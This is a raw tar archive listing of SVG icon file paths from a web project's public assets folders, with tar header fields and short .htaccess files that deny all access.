0ustar00public/assets/assets/svg/notification/ic_airline_seat_legroom_reduced_24px.svg000060400000000430151724235760024047 0ustar00public/assets/assets/svg/notification/ic_more_24px.svg000060400000000657151724235760017146 0ustar00public/assets/assets/svg/notification/ic_do_not_disturb_alt_24px.svg000060400000000465151724235760022057 0ustar00public/assets/assets/svg/notification/ic_sms_failed_24px.svg000060400000000315151724235760020301 0ustar00public/assets/assets/svg/notification/ic_phone_paused_24px.svg000060400000000566151724235760020655 0ustar00public/assets/assets/svg/notification/ic_sms_24px.svg000060400000000330151724235760016772 0ustar00public/assets/assets/svg/notification/ic_folder_special_24px.svg000060400000000432151724235760021146 0ustar00public/assets/assets/svg/notification/ic_personal_video_24px.svg000060400000000326151724235760021206 0ustar00public/assets/assets/svg/notification/ic_bluetooth_audio_24px.svg000060400000000742151724235760021365 0ustar00public/assets/assets/svg/notification/.htaccess000044400000000177151724235760015730 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/notification/ic_disc_full_24px.svg000060400000000357151724235760020145 0ustar00public/assets/assets/svg/notification/ic_airline_seat_legroom_normal_24px.svg000060400000000404151724235760023725 0ustar00public/assets/assets/svg/notification/ic_airline_seat_flat_angled_24px.svg000060400000000550151724235760023153 0ustar00public/assets/assets/svg/notification/ic_network_locked_24px.svg000060400000000563151724235760021212 0ustar00public/assets/assets/svg/notification/ic_live_tv_24px.svg000060400000000374151724235760017650 0ustar00public/assets/assets/svg/notification/ic_airline_seat_individual_suite_24px.svg000060400000000313151724235760024251 0ustar00public/assets/assets/svg/notification/ic_sync_24px.svg000060400000000504151724235760017147 0ustar00public/assets/assets/svg/notification/ic_airline_seat_recline_extra_24px.svg000060400000001035151724235760023536 0ustar00public/assets/assets/svg/notification/ic_airline_seat_legroom_extra_24px.svg000060400000000471151724235760023564 0ustar00public/assets/assets/svg/notification/ic_system_update_24px.svg000060400000000347151724235760021066 0ustar00public/assets/assets/svg/notification/ic_time_to_leave_24px.svg000060400000000670151724235760021013 0ustar00public/assets/assets/svg/notification/ic_phone_missed_24px.svg000060400000001022151724235760020644 0ustar00public/assets/assets/svg/notification/ic_sync_disabled_24px.svg000060400000001034151724235760020775 0ustar00public/assets/assets/svg/notification/ic_ondemand_video_24px.svg000060400000000343151724235760021147 0ustar00public/assets/assets/svg/notification/ic_enhanced_encryption_24px.svg000060400000000462151724235760022215 0ustar00public/assets/assets/svg/notification/ic_vpn_lock_24px.svg000060400000001125151724235760020006 0ustar00public/assets/assets/svg/notification/ic_sim_card_alert_24px.svg000060400000000312151724235760021140 0ustar00public/assets/assets/svg/notification/ic_adb_24px.svg000060400000000627151724235760016727 0ustar00public/assets/assets/svg/notification/ic_event_note_24px.svg000060400000000373151724235760020345 0ustar00public/assets/assets/svg/notification/ic_no_encryption_24px.svg000060400000000545151724235760021066 0ustar00public/assets/assets/svg/notification/ic_event_busy_24px.svg000060400000000531151724235760020356 0ustar00public/assets/assets/svg/notification/ic_network_check_24px.svg000060400000001043151724235760021020 0ustar00public/assets/assets/svg/notification/ic_airline_seat_recline_normal_24px.svg000060400000000735151724235760023711 0ustar00public/assets/assets/svg/notification/ic_power_24px.svg000060400000000316151724235760017330 0ustar00public/assets/assets/svg/notification/ic_mms_24px.svg000060400000000324151724235760016767 0ustar00public/assets/assets/svg/notification/ic_phone_in_talk_24px.svg000060400000000666151724235760021016 0ustar00public/assets/assets/svg/notification/ic_tap_and_play_24px.svg000060400000000542151724235760020630 0ustar00public/assets/assets/svg/notification/ic_wc_24px.svg000060400000000552151724235760016607 0ustar00public/assets/assets/svg/notification/ic_phone_bluetooth_speaker_24px.svg000060400000000773151724235760023113 0ustar00public/assets/assets/svg/notification/ic_airline_seat_flat_24px.svg000060400000000432151724235760021640 0ustar00public/assets/assets/svg/notification/ic_wifi_24px.svg000060400000000414151724235760017131 0ustar00public/assets/assets/svg/notification/ic_phone_locked_24px.svg000060400000001007151724235760020624 0ustar00public/assets/assets/svg/notification/ic_phone_forwarded_24px.svg000060400000000561151724235760021344 0ustar00public/assets/assets/svg/action/ic_hourglass_full_24px.svg000060400000000275151724235760020020 0ustar00public/assets/assets/svg/action/ic_assignment_24px.svg000060400000000503151724235760017131 0ustar00public/assets/assets/svg/action/ic_search_24px.svg000060400000000517151724235760016233 0ustar00public/assets/assets/svg/action/ic_report_problem_24px.svg000060400000000227151724235760020017 0ustar00public/assets/assets/svg/action/ic_perm_scan_wifi_24px.svg000060400000000310151724235760017742 0ustar00public/assets/assets/svg/action/ic_class_24px.svg000060400000000312151724235760016064 0ustar00public/assets/assets/svg/action/ic_lock_open_24px.svg000060400000000514151724235760016734 0ustar00public/assets/assets/svg/action/ic_trending_flat_24px.svg000060400000000174151724235760017605 0ustar00public/assets/assets/svg/action/ic_lock_outline_24px.svg000060400000000521151724235760017450 0ustar00public/assets/assets/svg/action/ic_note_add_24px.svg000060400000000351151724235760016537 0ustar00public/assets/assets/svg/action/ic_alarm_on_24px.svg000060400000000601151724235760016550 0ustar00public/assets/assets/svg/action/ic_settings_input_antenna_24px.svg000060400000000625151724235760021551 0ustar00public/assets/assets/svg/action/ic_description_24px.svg000060400000000343151724235760017306 0ustar00public/assets/assets/svg/action/ic_settings_cell_24px.svg000060400000000366151724235760017627 0ustar00public/assets/assets/svg/action/ic_open_in_browser_24px.svg000060400000000342151724235760020154 0ustar00public/assets/assets/svg/action/ic_alarm_24px.svg000060400000000546151724235760016064 0ustar00public/assets/assets/svg/action/ic_redeem_24px.svg000060400000001031151724235760016217 0ustar00public/assets/assets/svg/action/ic_bookmark_24px.svg000060400000000240151724235760016564 0ustar00public/assets/assets/svg/action/ic_view_array_24px.svg000060400000000223151724235760017130 0ustar00public/assets/assets/svg/action/ic_turned_in_24px.svg000060400000000240151724235760016746 0ustar00public/assets/assets/svg/action/ic_highlight_off_24px.svg000060400000000516151724235760017566 0ustar00public/assets/assets/svg/action/ic_line_weight_24px.svg000060400000000241151724235760017256 0ustar00public/assets/assets/svg/action/ic_language_24px.svg000060400000001616151724235760016552 0ustar00public/assets/assets/svg/action/ic_hourglass_empty_24px.svg000060400000000360151724235760020207 0ustar00public/assets/assets/svg/action/ic_important_devices_24px.svg000060400000000601151724235760020477 0ustar00public/assets/assets/svg/action/ic_flip_to_back_24px.svg000060400000000545151724235760017403 0ustar00public/assets/assets/svg/action/ic_pageview_24px.svg000060400000000616151724235760016575 0ustar00public/assets/assets/svg/action/ic_aspect_ratio_24px.svg000060400000000361151724235760017440 0ustar00public/assets/assets/svg/action/ic_pan_tool_24px.svg000060400000000644151724235760016602 0ustar00public/assets/assets/svg/action/ic_speaker_notes_24px.svg000060400000000402151724235760017621 0ustar00public/assets/assets/svg/action/ic_delete_24px.svg000060400000000262151724235760016225 0ustar00public/assets/assets/svg/action/ic_settings_input_composite_24px.svg000060400000000675151724235760022134 0ustar00public/assets/assets/svg/action/ic_settings_24px.svg000060400000001405151724235760016623 0ustar00public/assets/assets/svg/action/ic_gavel_24px.svg000060400000000376151724235760016067 0ustar00public/assets/assets/svg/action/ic_accessibility_24px.svg000060400000000271151724235760017612 0ustar00public/assets/assets/svg/action/ic_settings_input_component_24px.svg000060400000000675151724235760022134 0ustar00public/assets/assets/svg/action/ic_view_week_24px.svg000060400000000523151724235760016750 0ustar00public/assets/assets/svg/action/ic_settings_backup_restore_24px.svg000060400000000477151724235760021723 0ustar00public/assets/assets/svg/action/ic_subject_24px.svg000060400000000242151724235760016420 0ustar00public/assets/assets/svg/action/ic_settings_overscan_24px.svg000060400000000455151724235760020527 0ustar00public/assets/assets/svg/action/ic_view_column_24px.svg000060400000000225151724235760017311 0ustar00public/assets/assets/svg/action/ic_opacity_24px.svg000060400000000502151724235760016430 0ustar00public/assets/assets/svg/action/ic_check_circle_24px.svg000060400000000332151724235760017357 0ustar00public/assets/assets/svg/action/ic_backup_24px.svg000060400000000431151724235760016226 0ustar00public/assets/assets/svg/action/ic_event_24px.svg000060400000000355151724235760016107 0ustar00public/assets/assets/svg/action/ic_label_24px.svg000060400000000351151724235760016041 0ustar00public/assets/assets/svg/action/ic_all_out_24px.svg000060400000000535151724235760016425 0ustar00public/assets/assets/svg/action/ic_alarm_add_24px.svg000060400000000540151724235760016666 0ustar00public/assets/assets/svg/action/ic_view_day_24px.svg000060400000000322151724235760016567 0ustar00public/assets/assets/svg/action/ic_get_app_24px.svg000060400000000216151724235760016401 0ustar00public/assets/assets/svg/action/ic_chrome_reader_mode_24px.svg000060400000000355151724235760020571 0ustar00public/assets/assets/svg/action/ic_toc_24px.svg000060400000000277151724235760015556 0ustar00public/assets/assets/svg/action/ic_input_24px.svg000060400000000366151724235760016127 0ustar00public/assets/assets/svg/action/ic_assignment_return_24px.svg000060400000000461151724235760020533 0ustar00public/assets/assets/svg/action/ic_http_24px.svg000060400000000446151724235760015746 0ustar00public/assets/assets/svg/action/ic_power_settings_new_24px.svg000060400000000465151724235760020715 0ustar00public/assets/assets/svg/action/ic_perm_camera_mic_24px.svg000060400000000532151724235760020066 0ustar00public/assets/assets/svg/action/ic_shop_two_24px.svg000060400000000430151724235760016622 0ustar00public/assets/assets/svg/action/ic_assignment_turned_in_24px.svg000060400000000512151724235760021200 0ustar00public/assets/assets/svg/action/ic_settings_voice_24px.svg000060400000000522151724235760020007 0ustar00public/assets/assets/svg/action/ic_announcement_24px.svg000060400000000314151724235760017453 0ustar00public/assets/assets/svg/action/ic_fingerprint_24px.svg000060400000003316151724235760017315 0ustar00public/assets/assets/svg/action/ic_settings_input_hdmi_24px.svg000060400000000311151724235760021036 0ustar00public/assets/assets/svg/action/ic_flight_land_24px.svg000060400000000434151724235760017237 0ustar00public/assets/assets/svg/action/ic_settings_brightness_24px.svg000060400000000515151724235760021054 0ustar00public/assets/assets/svg/action/ic_label_outline_24px.svg000060400000000404151724235760017577 0ustar00public/assets/assets/svg/action/ic_thumb_up_24px.svg000060400000000476151724235760016615 0ustar00public/assets/assets/svg/action/ic_view_stream_24px.svg000060400000000203151724235760017303 0ustar00public/assets/assets/svg/action/ic_info_24px.svg000060400000000305151724235760015714 0ustar00public/assets/assets/svg/action/ic_done_all_24px.svg000060400000000376151724235760016546 0ustar00public/assets/assets/svg/action/ic_view_quilt_24px.svg000060400000000245151724235760017154 0ustar00public/assets/assets/svg/action/ic_done_24px.svg000060400000000227151724235760015711 0ustar00public/assets/assets/svg/action/ic_open_in_new_24px.svg000060400000000347151724235760017267 0ustar00public/assets/assets/svg/action/ic_visibility_off_24px.svg000060400000001136151724235760020005 0ustar00public/assets/assets/svg/action/ic_tab_24px.svg000060400000000305151724235760015527 0ustar00public/assets/assets/svg/action/ic_camera_enhance_24px.svg000060400000000475151724235760017702 0ustar00public/assets/assets/svg/action/ic_settings_phone_24px.svg000060400000000606151724235760020016 0ustar00public/assets/assets/svg/action/ic_history_24px.svg000060400000000505151724235760016464 0ustar00public/assets/assets/svg/action/ic_verified_user_24px.svg000060400000000330151724235760017612 0ustar00public/assets/assets/svg/action/ic_swap_horiz_24px.svg000060400000000254151724235760017151 0ustar00public/assets/assets/svg/action/ic_find_in_page_24px.svg000060400000000542151724235760017366 0ustar00public/assets/assets/svg/action/ic_account_circle_24px.svg000060400000000510151724235760017734 0ustar00public/assets/assets/svg/action/ic_settings_bluetooth_24px.svg000060400000000503151724235760020706 0ustar00public/assets/assets/svg/action/ic_assignment_returned_24px.svg000060400000000461151724235760021044 0ustar00public/assets/assets/svg/action/ic_offline_pin_24px.svg000060400000000350151724235760017251 0ustar00public/assets/assets/svg/action/ic_view_list_24px.svg000060400000000273151724235760016772 0ustar00public/assets/assets/svg/action/ic_credit_card_24px.svg000060400000000337151724235760017231 0ustar00public/assets/assets/svg/action/ic_question_answer_24px.svg000060400000000341151724235760020207 0ustar00public/assets/assets/svg/action/ic_touch_app_24px.svg000060400000000776151724235760016757 0ustar00public/assets/assets/svg/action/ic_card_giftcard_24px.svg000060400000001031151724235760017532 0ustar00public/assets/assets/svg/action/ic_face_24px.svg000060400000001001151724235760015651 0ustar00public/assets/assets/svg/action/ic_eject_24px.svg000060400000000206151724235760016053 0ustar00public/assets/assets/svg/action/ic_settings_applications_24px.svg000060400000001476151724235760021401 0ustar00public/assets/assets/svg/action/ic_change_history_24px.svg000060400000000226151724235760017771 0ustar00public/assets/assets/svg/action/ic_assignment_late_24px.svg000060400000000466151724235760020146 0ustar00public/assets/assets/svg/action/ic_explore_24px.svg000060400000000450151724235760016440 0ustar00public/assets/assets/svg/action/ic_compare_arrows_24px.svg000060400000000255151724235760020010 0ustar00public/assets/assets/svg/action/ic_today_24px.svg000060400000000350151724235760016101 0ustar00public/assets/assets/svg/action/ic_donut_small_24px.svg000060400000000466151724235760017312 0ustar00public/assets/assets/svg/action/ic_accessible_24px.svg000060400000000773151724235760017067 0ustar00public/assets/assets/svg/action/ic_settings_input_svideo_24px.svg000060400000001152151724235760021412 0ustar00public/assets/assets/svg/action/ic_donut_large_24px.svg000060400000000461151724235760017267 0ustar00public/assets/assets/svg/action/ic_cached_24px.svg000060400000000507151724235760016174 0ustar00public/assets/assets/svg/action/ic_group_work_24px.svg000060400000000640151724235760017161 0ustar00public/assets/assets/svg/action/ic_help_outline_24px.svg000060400000000530151724235760017450 0ustar00public/assets/assets/svg/action/ic_zoom_out_24px.svg000060400000000532151724235760016636 0ustar00public/assets/assets/svg/action/ic_spellcheck_24px.svg000060400000000403151724235760017075 0ustar00public/assets/assets/svg/action/ic_view_carousel_24px.svg000060400000000224151724235760017630 0ustar00public/assets/assets/svg/action/ic_book_24px.svg000060400000000312151724235760015711 0ustar00public/assets/assets/svg/action/ic_build_24px.svg000060400000000415151724235760016062 0ustar00public/assets/assets/svg/action/ic_youtube_searched_for_24px.svg000060400000000607151724235760021166 0ustar00public/assets/assets/svg/action/ic_record_voice_over_24px.svg000060400000000531151724235760020460 0ustar00public/assets/assets/svg/action/ic_https_24px.svg000060400000000506151724235760016126 0ustar00public/assets/assets/svg/action/ic_view_headline_24px.svg000060400000000240151724235760017562 0ustar00public/assets/assets/svg/action/ic_android_24px.svg000060400000001233151724235760016402 0ustar00public/assets/assets/svg/action/.htaccess000044400000000177151724235760014517 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/action/ic_view_module_24px.svg000060400000000274151724235760017305 0ustar00public/assets/assets/svg/action/ic_polymer_24px.svg000060400000000264151724235760016454 0ustar00public/assets/assets/svg/action/ic_track_changes_24px.svg000060400000001030151724235760017551 0ustar00public/assets/assets/svg/action/ic_markunread_mailbox_24px.svg000060400000000302151724235760020622 0ustar00public/assets/assets/svg/action/ic_date_range_24px.svg000060400000000410151724235760017047 0ustar00public/assets/assets/svg/action/ic_exit_to_app_24px.svg000060400000000411151724235760017272 0ustar00public/assets/assets/svg/action/ic_picture_in_picture_24px.svg000060400000000342151724235760020656 0ustar00public/assets/assets/svg/action/ic_pregnant_woman_24px.svg000060400000000342151724235760020001 0ustar00public/assets/assets/svg/action/ic_theaters_24px.svg000060400000000357151724235760016607 0ustar00public/assets/assets/svg/action/ic_alarm_off_24px.svg000060400000001133151724235760016707 0ustar00public/assets/assets/svg/action/ic_timeline_24px.svg000060400000001020151724235760016562 0ustar00public/assets/assets/svg/action/ic_swap_vertical_circle_24px.svg000060400000000355151724235760021152 0ustar00public/assets/assets/svg/action/ic_help_24px.svg000060400000000561151724235760015715 0ustar00public/assets/assets/svg/action/ic_settings_ethernet_24px.svg000060400000000435151724235760020523 0ustar00public/assets/assets/svg/action/ic_invert_colors_24px.svg000060400000000521151724235760017651 0ustar00public/assets/assets/svg/action/ic_find_replace_24px.svg000060400000000644151724235760017402 0ustar00public/assets/assets/svg/action/ic_bookmark_border_24px.svg000060400000000273151724235760020127 0ustar00public/assets/assets/svg/action/ic_dashboard_24px.svg000060400000000242151724235760016710 0ustar00public/assets/assets/svg/action/ic_print_24px.svg000060400000000366151724235760016124 0ustar00public/assets/assets/svg/action/ic_settings_remote_24px.svg000060400000000720151724235760020175 0ustar00public/assets/assets/svg/action/ic_card_travel_24px.svg000060400000000440151724235760017247 0ustar00public/assets/assets/svg/action/ic_zoom_in_24px.svg000060400000000560151724235760016436 0ustar00public/assets/assets/svg/action/ic_assessment_24px.svg000060400000000336151724235760017152 0ustar00public/assets/assets/svg/action/ic_favorite_24px.svg000060400000000423151724235760016601 0ustar00public/assets/assets/svg/action/ic_code_24px.svg000060400000000277151724235760015703 0ustar00public/assets/assets/svg/action/ic_favorite_border_24px.svg000060400000000674151724235760020146 0ustar00public/assets/assets/svg/action/ic_perm_contact_calendar_24px.svg000060400000000450151724235760021271 0ustar00public/assets/assets/svg/action/ic_autorenew_24px.svg000060400000000513151724235760016773 0ustar00public/assets/assets/svg/action/ic_stars_24px.svg000060400000000432151724235760016116 0ustar00public/assets/assets/svg/action/ic_open_with_24px.svg000060400000000316151724235760016757 0ustar00public/assets/assets/svg/action/ic_shopping_cart_24px.svg000060400000000646151724235760017631 0ustar00public/assets/assets/svg/action/ic_visibility_24px.svg000060400000000466151724235760017160 0ustar00public/assets/assets/svg/action/ic_home_24px.svg000060400000000210151724235760015704 0ustar00public/assets/assets/svg/action/ic_thumb_down_24px.svg000060400000000470151724235760017132 0ustar00public/assets/assets/svg/action/ic_payment_24px.svg000060400000000337151724235760016443 0ustar00public/assets/assets/svg/action/ic_schedule_24px.svg000060400000000433151724235760016557 0ustar00public/assets/assets/svg/action/ic_thumbs_up_down_24px.svg000060400000000743151724235760020024 0ustar00public/assets/assets/svg/action/ic_picture_in_picture_alt_24px.svg000060400000000345151724235760021521 0ustar00public/assets/assets/svg/action/ic_gif_24px.svg000060400000000365151724235760015534 0ustar00public/assets/assets/svg/action/ic_settings_power_24px.svg000060400000000544151724235760020042 0ustar00public/assets/assets/svg/action/ic_rounded_corner_24px.svg000060400000000515151724235760017774 0ustar00public/assets/assets/svg/action/ic_info_outline_24px.svg000060400000000401151724235760017450 0ustar00public/assets/assets/svg/action/ic_grade_24px.svg000060400000000275151724235760016051 0ustar00public/assets/assets/svg/action/ic_update_24px.svg000060400000000623151724235760016246 0ustar00public/assets/assets/svg/action/ic_card_membership_24px.svg000060400000000345151724235760020111 0ustar00public/assets/assets/svg/action/ic_rowing_24px.svg000060400000000713151724235760016271 0ustar00public/assets/assets/svg/action/ic_watch_later_24px.svg000060400000000313151724235760017255 0ustar00public/assets/assets/svg/action/ic_bug_report_24px.svg000060400000000733151724235760017136 0ustar00public/assets/assets/svg/action/ic_add_shopping_cart_24px.svg000060400000000727151724235760020441 0ustar00public/assets/assets/svg/action/ic_receipt_24px.svg000060400000000477151724235760016426 0ustar00public/assets/assets/svg/action/ic_shop_24px.svg000060400000000345151724235760015736 0ustar00public/assets/assets/svg/action/ic_lock_24px.svg000060400000000506151724235760015714 0ustar00public/assets/assets/svg/action/ic_event_seat_24px.svg000060400000000302151724235760017113 0ustar00public/assets/assets/svg/action/ic_system_update_alt_24px.svg000060400000000356151724235760020515 0ustar00public/assets/assets/svg/action/ic_flip_to_front_24px.svg000060400000000466151724235760017635 0ustar00public/assets/assets/svg/action/ic_motorcycle_24px.svg000060400000000660151724235760017145 0ustar00public/assets/assets/svg/action/ic_shopping_basket_24px.svg000060400000000570151724235760020145 0ustar00public/assets/assets/svg/action/ic_query_builder_24px.svg000060400000000433151724235760017636 0ustar00public/assets/assets/svg/action/ic_tab_unselected_24px.svg000060400000000560151724235760017745 0ustar00public/assets/assets/svg/action/ic_assignment_ind_24px.svg000060400000000574151724235760017773 0ustar00public/assets/assets/svg/action/ic_pets_24px.svg000060400000001141151724235760015733 0ustar00public/assets/assets/svg/action/ic_restore_24px.svg000060400000000505151724235760016446 0ustar00public/assets/assets/svg/action/ic_extension_24px.svg000060400000000611151724235760016775 0ustar00public/assets/assets/svg/action/ic_account_box_24px.svg000060400000000425151724235760017270 0ustar00public/assets/assets/svg/action/ic_work_24px.svg000060400000000374151724235760015751 0ustar00public/assets/assets/svg/action/ic_room_24px.svg000060400000000377151724235760015746 0ustar00public/assets/assets/svg/action/ic_list_24px.svg000060400000000273151724235760015740 0ustar00public/assets/assets/svg/action/ic_feedback_24px.svg000060400000000315151724235760016506 0ustar00public/assets/assets/svg/action/ic_loyalty_24px.svg000060400000001035151724235760016457 0ustar00public/assets/assets/svg/action/ic_perm_phone_msg_24px.svg000060400000000560151724235760017766 0ustar00public/assets/assets/svg/action/ic_swap_vert_24px.svg000060400000000253151724235760016775 0ustar00public/assets/assets/svg/action/ic_trending_up_24px.svg000060400000000254151724235760017302 0ustar00public/assets/assets/svg/action/ic_perm_identity_24px.svg000060400000000533151724235760017640 0ustar00public/assets/assets/svg/action/ic_store_24px.svg000060400000000257151724235760016123 0ustar00public/assets/assets/svg/action/ic_lightbulb_outline_24px.svg000060400000000607151724235760020501 0ustar00public/assets/assets/svg/action/ic_play_for_work_24px.svg000060400000000341151724235760017636 0ustar00public/assets/assets/svg/action/ic_supervisor_account_24px.svg000060400000000640151724235760020720 0ustar00public/assets/assets/svg/action/ic_view_agenda_24px.svg000060400000000405151724235760017233 0ustar00public/assets/assets/svg/action/ic_toll_24px.svg000060400000000501151724235760015731 0ustar00public/assets/assets/svg/action/ic_flight_takeoff_24px.svg000060400000000462151724235760017741 0ustar00public/assets/assets/svg/action/ic_translate_24px.svg000060400000000615151724235760016762 0ustar00public/assets/assets/svg/action/ic_reorder_24px.svg000060400000000240151724235760016421 0ustar00public/assets/assets/svg/action/ic_line_style_24px.svg000060400000000415151724235760017132 0ustar00public/assets/assets/svg/action/ic_account_balance_wallet_24px.svg000060400000000471151724235760021436 0ustar00public/assets/assets/svg/action/ic_perm_data_setting_24px.svg000060400000001531151724235760020454 0ustar00public/assets/assets/svg/action/ic_account_balance_24px.svg000060400000000276151724235760020071 0ustar00public/assets/assets/svg/action/ic_perm_media_24px.svg000060400000000420151724235760017061 0ustar00public/assets/assets/svg/action/ic_dns_24px.svg000060400000000546151724235760015554 0ustar00public/assets/assets/svg/action/ic_3d_rotation_24px.svg000060400000003041151724235760017206 0ustar00public/assets/assets/svg/action/ic_trending_down_24px.svg000060400000000253151724235760017624 0ustar00public/assets/assets/svg/action/ic_launch_24px.svg000060400000000347151724235760016241 0ustar00public/assets/assets/svg/action/ic_copyright_24px.svg000060400000001464151724235760017000 0ustar00public/assets/assets/svg/action/ic_turned_in_not_24px.svg000060400000000273151724235760017634 0ustar00public/assets/assets/svg/action/ic_perm_device_information_24px.svg000060400000000352151724235760021652 0ustar00public/assets/assets/svg/image/ic_crop_5_4_24px.svg000060400000000301151724235760016174 0ustar00public/assets/assets/svg/image/ic_filter_9_plus_24px.svg000060400000000543151724235760017352 0ustar00public/assets/assets/svg/image/ic_image_aspect_ratio_24px.svg000060400000000376151724235760020415 0ustar00public/assets/assets/svg/image/ic_movie_filter_24px.svg000060400000000576151724235760017264 0ustar00public/assets/assets/svg/image/ic_leak_remove_24px.svg000060400000001227151724235760017063 0ustar00public/assets/assets/svg/image/ic_exposure_plus_1_24px.svg000060400000000255151724235760017727 0ustar00public/assets/assets/svg/image/ic_color_lens_24px.svg000060400000001051151724235760016724 0ustar00public/assets/assets/svg/image/ic_collections_24px.svg000060400000000365151724235760017112 0ustar00public/assets/assets/svg/image/ic_assistant_24px.svg000060400000000407151724235760016602 0ustar00public/assets/assets/svg/image/ic_camera_front_24px.svg000060400000000502151724235760017225 0ustar00public/assets/assets/svg/image/ic_filter_24px.svg000060400000000432151724235760016054 0ustar00public/assets/assets/svg/image/ic_view_comfy_24px.svg000060400000000421151724235760016734 0ustar00public/assets/assets/svg/image/ic_timer_3_24px.svg000060400000003755151724235760016144 0ustar00public/assets/assets/svg/image/ic_filter_1_24px.svg000060400000000367151724235760016303 0ustar00public/assets/assets/svg/image/ic_wb_sunny_24px.svg000060400000000672151724235760016441 0ustar00public/assets/assets/svg/image/ic_panorama_24px.svg000060400000000335151724235760016367 0ustar00public/assets/assets/svg/image/ic_edit_24px.svg000060400000000372151724235760015517 0ustar00public/assets/assets/svg/image/ic_crop_7_5_24px.svg000060400000000276151724235760016212 0ustar00public/assets/assets/svg/image/ic_blur_linear_24px.svg000060400000001516151724235760017071 0ustar00public/assets/assets/svg/image/ic_exposure_24px.svg000060400000000364151724235760016445 0ustar00public/assets/assets/svg/image/ic_crop_original_24px.svg000060400000000367151724235760017425 0ustar00public/assets/assets/svg/image/ic_loupe_24px.svg000060400000000421151724235760015711 0ustar00public/assets/assets/svg/image/ic_straighten_24px.svg000060400000000336151724235760016742 0ustar00public/assets/assets/svg/image/ic_photo_camera_24px.svg000060400000000437151724235760017235 0ustar00public/assets/assets/svg/image/ic_hdr_on_24px.svg000060400000000474151724235760016046 0ustar00public/assets/assets/svg/image/ic_tune_24px.svg000060400000000334151724235760015543 0ustar00public/assets/assets/svg/image/ic_flash_on_24px.svg000060400000000175151724235760016364 0ustar00public/assets/assets/svg/image/ic_filter_6_24px.svg000060400000000513151724235760016301 0ustar00public/assets/assets/svg/image/ic_filter_9_24px.svg000060400000000511151724235760016302 0ustar00public/assets/assets/svg/image/ic_linked_camera_24px.svg000060400000000636151724235760017353 0ustar00public/assets/assets/svg/image/ic_brush_24px.svg000060400000000452151724235760015714 0ustar00public/assets/assets/svg/image/ic_palette_24px.svg000060400000001051151724235760016223 0ustar00public/assets/assets/svg/image/ic_broken_image_24px.svg000060400000000400151724235760017204 0ustar00public/assets/assets/svg/image/ic_grid_off_24px.svg000060400000000644151724235760016353 0ustar00public/assets/assets/svg/image/ic_switch_video_24px.svg000060400000000376151724235760017265 0ustar00public/assets/assets/svg/image/ic_monochrome_photos_24px.svg000060400000000576151724235760020342 0ustar00public/assets/assets/svg/image/ic_panorama_fish_eye_24px.svg000060400000000341151724235760020237 0ustar00public/assets/assets/svg/image/.htaccess000044400000000177151724235760014324 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/image/ic_looks_5_24px.svg000060400000000362151724235760016144 0ustar00public/assets/assets/svg/image/ic_filter_center_focus_24px.svg000060400000000450151724235760020613 0ustar00public/assets/assets/svg/image/ic_movie_creation_24px.svg000060400000000323151724235760017571 0ustar00public/assets/assets/svg/image/ic_brightness_7_24px.svg000060400000000503151724235760017164 0ustar00public/assets/assets/svg/image/ic_blur_off_24px.svg000060400000002554151724235760016374 0ustar00public/assets/assets/svg/image/ic_control_point_24px.svg000060400000000403151724235760017456 0ustar00public/assets/assets/svg/image/ic_brightness_1_24px.svg000060400000000171151724235760017157 0ustar00public/assets/assets/svg/image/ic_blur_circular_24px.svg000060400000001604151724235760017421 0ustar00public/assets/assets/svg/image/ic_looks_3_24px.svg000060400000000453151724235760016143 0ustar00public/assets/assets/svg/image/ic_filter_b_and_w_24px.svg000060400000000313151724235760017523 0ustar00public/assets/assets/svg/image/ic_filter_none_24px.svg000060400000000343151724235760017074 0ustar00public/assets/assets/svg/image/ic_timer_off_24px.svg000060400000001106151724235760016540 0ustar00public/assets/assets/svg/image/ic_leak_add_24px.svg000060400000000537151724235760016321 0ustar00public/assets/assets/svg/image/ic_rotate_left_24px.svg000060400000000710151724235760017076 0ustar00public/assets/assets/svg/image/ic_center_focus_weak_24px.svg000060400000000530151724235760020254 0ustar00public/assets/assets/svg/image/ic_texture_24px.svg000060400000000552151724235760016272 0ustar00public/assets/assets/svg/image/ic_hdr_strong_24px.svg000060400000000410151724235760016734 0ustar00public/assets/assets/svg/image/ic_healing_24px.svg000060400000001375151724235760016205 0ustar00public/assets/assets/svg/image/ic_looks_two_24px.svg000060400000000400151724235760016602 0ustar00public/assets/assets/svg/image/ic_panorama_horizontal_24px.svg000060400000000765151724235760020647 0ustar00public/assets/assets/svg/image/ic_view_compact_24px.svg000060400000000222151724235760017244 0ustar00public/assets/assets/svg/image/ic_camera_alt_24px.svg000060400000000437151724235760016664 0ustar00public/assets/assets/svg/image/ic_camera_rear_24px.svg000060400000000430151724235760017026 0ustar00public/assets/assets/svg/image/ic_looks_4_24px.svg000060400000000317151724235760016143 0ustar00public/assets/assets/svg/image/ic_crop_portrait_24px.svg000060400000000301151724235760017451 0ustar00public/assets/assets/svg/image/ic_vignette_24px.svg000060400000000354151724235760016417 0ustar00public/assets/assets/svg/image/ic_exposure_neg_2_24px.svg000060400000001247151724235760017520 0ustar00public/assets/assets/svg/image/ic_filter_drama_24px.svg000060400000000635151724235760017225 0ustar00public/assets/assets/svg/image/ic_portrait_24px.svg000060400000000527151724235760016440 0ustar00public/assets/assets/svg/image/ic_brightness_6_24px.svg000060400000000366151724235760017172 0ustar00public/assets/assets/svg/image/ic_tag_faces_24px.svg000060400000000706151724235760016507 0ustar00public/assets/assets/svg/image/ic_wb_auto_24px.svg000060400000000531151724235760016227 0ustar00public/assets/assets/svg/image/ic_navigate_next_24px.svg000060400000000223151724235760017421 0ustar00public/assets/assets/svg/image/ic_wb_cloudy_24px.svg000060400000000375151724235760016564 0ustar00public/assets/assets/svg/image/ic_nature_24px.svg000060400000000333151724235760016065 0ustar00public/assets/assets/svg/image/ic_details_24px.svg000060400000000221151724235760016210 0ustar00public/assets/assets/svg/image/ic_crop_rotate_24px.svg000060400000000627151724235760017116 0ustar00public/assets/assets/svg/image/ic_add_to_photos_24px.svg000060400000000364151724235760017421 0ustar00public/assets/assets/svg/image/ic_filter_8_24px.svg000060400000000656151724235760016313 0ustar00public/assets/assets/svg/image/ic_iso_24px.svg000060400000000374151724235760015366 0ustar00public/assets/assets/svg/image/ic_filter_7_24px.svg000060400000000375151724235760016310 0ustar00public/assets/assets/svg/image/ic_music_note_24px.svg000060400000000272151724235760016736 0ustar00public/assets/assets/svg/image/ic_dehaze_24px.svg000060400000000225151724235760016027 0ustar00public/assets/assets/svg/image/ic_adjust_24px.svg000060400000000432151724235760016061 